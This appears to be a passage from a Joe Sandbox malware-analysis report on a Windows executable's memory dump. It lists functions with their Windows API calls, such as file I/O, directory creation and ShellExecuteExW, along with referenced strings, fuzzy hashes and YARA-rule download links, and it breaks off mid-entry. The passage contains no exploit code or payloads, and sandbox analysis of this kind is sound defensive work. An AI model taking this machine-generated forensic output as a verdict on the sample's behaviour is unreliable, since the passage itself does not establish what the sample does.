Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d487e76e05c5fffd88cdf5b3ac289b2a685634872410f3bf57cf9642bd44b422
Instruction ID: ed69e48f2b9f224f5de76fa38221f26f69075a156c73166e2e17eecf637d197c
Opcode Fuzzy Hash: d487e76e05c5fffd88cdf5b3ac289b2a685634872410f3bf57cf9642bd44b422
Instruction Fuzzy Hash: B1714671E04228CFDF28CF98C854BADBBB1FB44305F15806AD856B7281C7786946DF45

Function 00403411 Relevance: 4.6, APIs: 3, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403425

Part of subcall function 00403590: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040328E,?), ref: 0040359E

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,0040333B,00000004,00000000,00000000,?,?,004032B5,000000FF,00000000,00000000,0040A230,?), ref: 00403458
SetFilePointer.KERNELBASE(?,00000000,00000000,00414EF0,00004000,?,00000000,0040333B,00000004,00000000,00000000,?,?,004032B5,000000FF,00000000), ref: 00403553

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FilePointer$CountTick
String ID:
API String ID: 1092082344-0
Opcode ID: 9518b2dd1af65febbd9d180445f0764cbeb29eb017de111e17892d6d002d9159
Instruction ID: 897ba5cc79bc3f0d18eddf3670deff7b1eb1d467b83339ddcdcbfe179e357187
Opcode Fuzzy Hash: 9518b2dd1af65febbd9d180445f0764cbeb29eb017de111e17892d6d002d9159
Instruction Fuzzy Hash: D3317CB2604205EBCB20DF39FE848263BA9B744395755023BE900B32F1C7B99D45DB9D

Function 00401B9B Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(0075EBF0), ref: 00401C0B
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401C1D

Strings

open, xrefs: 00401BC2, 00401BC8, 00401BE2

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Global$AllocFree
String ID: open
API String ID: 3394109436-2758837156
Opcode ID: 035021540bba336811b1dfba62dc434646664820adc8a5b253f9979037e238d0
Instruction ID: 7ec0e89d64206a41b4ba8aabe80b5452bf6d7cb43955a649282e45c73046654a
Opcode Fuzzy Hash: 035021540bba336811b1dfba62dc434646664820adc8a5b253f9979037e238d0
Instruction Fuzzy Hash: F621C673A00250EBC720AFA4EE84D5A73B4AB04714765053BF952F72D0C6BCAC414BAD

Function 004069DC Relevance: 4.5, APIs: 3, Instructions: 27synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000064), ref: 004069ED
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00406A02
GetExitCodeProcess.KERNELBASE(?,?), ref: 00406A0F

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ObjectSingleWait$CodeExitProcess
String ID:
API String ID: 2567322000-0
Opcode ID: 40ac6e21dbe7336db41f889c5ae7a6a2dea1a819c6b4ad045de723e9d89aa510
Instruction ID: baa81a1a13de69ea1b9d4081f582e8c5525217bb9aa64379ce25c6334638d75d
Opcode Fuzzy Hash: 40ac6e21dbe7336db41f889c5ae7a6a2dea1a819c6b4ad045de723e9d89aa510
Instruction Fuzzy Hash: 22E0D871700208FBDB009B54DE05E9E7B6EEB44714F110137F701B6190C7B19E22DB94

Function 00403B19 Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,C:\Users\user\AppData\Local\Temp\,0040394C,00000007,?,00000007,00000009,0000000B), ref: 00403B2B
CloseHandle.KERNEL32(FFFFFFFF,C:\Users\user\AppData\Local\Temp\,0040394C,00000007,?,00000007,00000009,0000000B), ref: 00403B3F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403B1E

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2962429428-3081826266
Opcode ID: f038386b1086bb30888fe0ccdba35b42973a9f6d5176726927d32f5153013f8e
Instruction ID: f4960ab97bc4c8a2d82e21847187181e2840903b19b2aeb21d370a46e1c92408
Opcode Fuzzy Hash: f038386b1086bb30888fe0ccdba35b42973a9f6d5176726927d32f5153013f8e
Instruction Fuzzy Hash: 49E0863144471496C1346F7CAE49D853B285B4133A7204326F178F20F1C738A9574E9D

Function 00403309 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,004032B5,000000FF,00000000,00000000,0040A230,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: a028361fc9e97e52d64351f184ba52d3dd7daec5df95744dc32eca756b6c47e1
Instruction ID: fc1c1b99c1c3d1c2481461a51282f6204a9bfe71311cf5a9819f6edaa66b9ece
Opcode Fuzzy Hash: a028361fc9e97e52d64351f184ba52d3dd7daec5df95744dc32eca756b6c47e1
Instruction Fuzzy Hash: C6319F70200219EFDB11CF55ED84A9E3FA8FB00355B20443AF905EA1D1D778DE51DBA9

Function 004015C1 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405EBC: CharNextW.USER32(?,?,00425F50,?,00405F30,00425F50,00425F50,74DF3420,?,74DF2EE0,00405C6E,?,74DF3420,74DF2EE0,00000000), ref: 00405ECA
Part of subcall function 00405EBC: CharNextW.USER32(00000000), ref: 00405ECF
Part of subcall function 00405EBC: CharNextW.USER32(00000000), ref: 00405EE7

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 00405A73: CreateDirectoryW.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405AB6

SetCurrentDirectoryW.KERNELBASE(?,00436000,?,00000000,000000F0), ref: 0040164D

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: 005d403cdafa4537ab0cdd2ee316961fba708b28384a9191ff06090dfa321fd8
Instruction ID: 804c449170a8270e91f9515fbcc2e09aef6974e60d9951be020b7c668b26977e
Opcode Fuzzy Hash: 005d403cdafa4537ab0cdd2ee316961fba708b28384a9191ff06090dfa321fd8
Instruction Fuzzy Hash: 1511E231504115ABCF30AFA5CD4199F36B0EF24329B28493BE956B12F1D63E4E829F5E

Function 00401F12 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00405B68: ShellExecuteExW.SHELL32(?), ref: 00405B77

Part of subcall function 004069DC: WaitForSingleObject.KERNEL32(?,00000064), ref: 004069ED
Part of subcall function 004069DC: GetExitCodeProcess.KERNELBASE(?,?), ref: 00406A0F

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401FEB

Strings

@, xrefs: 00401F8A

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseCodeExecuteExitHandleObjectProcessShellSingleWait
String ID: @
API String ID: 165873841-2766056989
Opcode ID: 0b6079bd73865ef930fa3f780708b73cc8419f12f9e7f45310d544a7ab76ebce
Instruction ID: 5b26e3c0ac9ec09cc99971800e1024144e0173795a14c6037ac54a620244b577
Opcode Fuzzy Hash: 0b6079bd73865ef930fa3f780708b73cc8419f12f9e7f45310d544a7ab76ebce
Instruction Fuzzy Hash: 93112871A002189ACB10EFB9CA49B8DB7F0AF18304F20457AE555F72C2DBBC89459B18

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: d662c2adc7386def8032e0caa440f6f516c0d103e2adf936855243d12f81b3d3
Instruction ID: 2e9f13adc1e302feb6e44b0cfdad9a37d499f26753b45a494d358932ab564816
Opcode Fuzzy Hash: d662c2adc7386def8032e0caa440f6f516c0d103e2adf936855243d12f81b3d3
Instruction Fuzzy Hash: 2501F431724220EBEB295B389D05B6A3698E710314F10857FF855F66F1E678CC029B6D

Function 00406931 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,0040364A,0000000B), ref: 00406943
GetProcAddress.KERNEL32(00000000,?), ref: 0040695E

Part of subcall function 004068C1: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068D8
Part of subcall function 004068C1: wsprintfW.USER32 ref: 00406913
Part of subcall function 004068C1: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406927

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: a89557e88259ac32882439a66efe2bded2b7fe37332f597cb2162f61758b0433
Instruction ID: ca9fc7dfa89fe5ea16e4639455fc103decb8165a688e618dc96f0396de22bceb
Opcode Fuzzy Hash: a89557e88259ac32882439a66efe2bded2b7fe37332f597cb2162f61758b0433
Instruction Fuzzy Hash: A5E0867390422057E61056705E4CC3773A8ABC4750306443EF556F2140DB38DC35977A

Function 00406032 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004030AB,00438800,80000000,00000003), ref: 00406036
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00406058

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction ID: 0e1b57c135d9ed337dcee0f1630d7a3ffd6699826ab823f4ff8c6da5104765b0
Opcode Fuzzy Hash: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction Fuzzy Hash: DCD09E71254201AFEF0D8F20DF16F2E7AA2EB94B04F11952CB682940E1DAB15C15AB19

Function 0040600D Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,00405C12,?,?,00000000,00405DE8,?,?,?,?), ref: 00406012
SetFileAttributesW.KERNEL32(?,00000000), ref: 00406026

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction ID: 2aab62ad23f8cb6709c95f945eae6201b0fb2c2ffcd307ea01f0c72ec21377a4
Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction Fuzzy Hash: 9AD0C972504131ABC2502728EE0889ABF55EF682717014A35F9A5A22B0CB314C628A98

Function 00405AF0 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,004035CB,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00405AF6
GetLastError.KERNEL32(?,00000007,00000009,0000000B), ref: 00405B04

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction ID: 7b2d9cd717f5aff8da3a1f7dd460dbe6a594badd890d3698b32dee5738bc8dc1
Opcode Fuzzy Hash: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction Fuzzy Hash: 50C04C30204601AEDA509B30DF08B177AA4AF50741F1158396246E40A0DA78A455D92D

Function 004060E4 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,0040F90B,0040CEF0,00403511,0040CEF0,0040F90B,00414EF0,00004000,?,00000000,0040333B,00000004), ref: 004060F8

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction ID: 6979515bda9704ff85578e0c0429e47610ce6c1510064802d49ef9c1332cb9e6
Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction Fuzzy Hash: E3E08C3221022AABEF109E618C04AEB7B6CEB01360F014832FE16E7040D271E9308BE8

Function 004060B5 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00414EF0,0040CEF0,0040358D,0040A230,0040A230,00403491,00414EF0,00004000,?,00000000,0040333B), ref: 004060C9

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
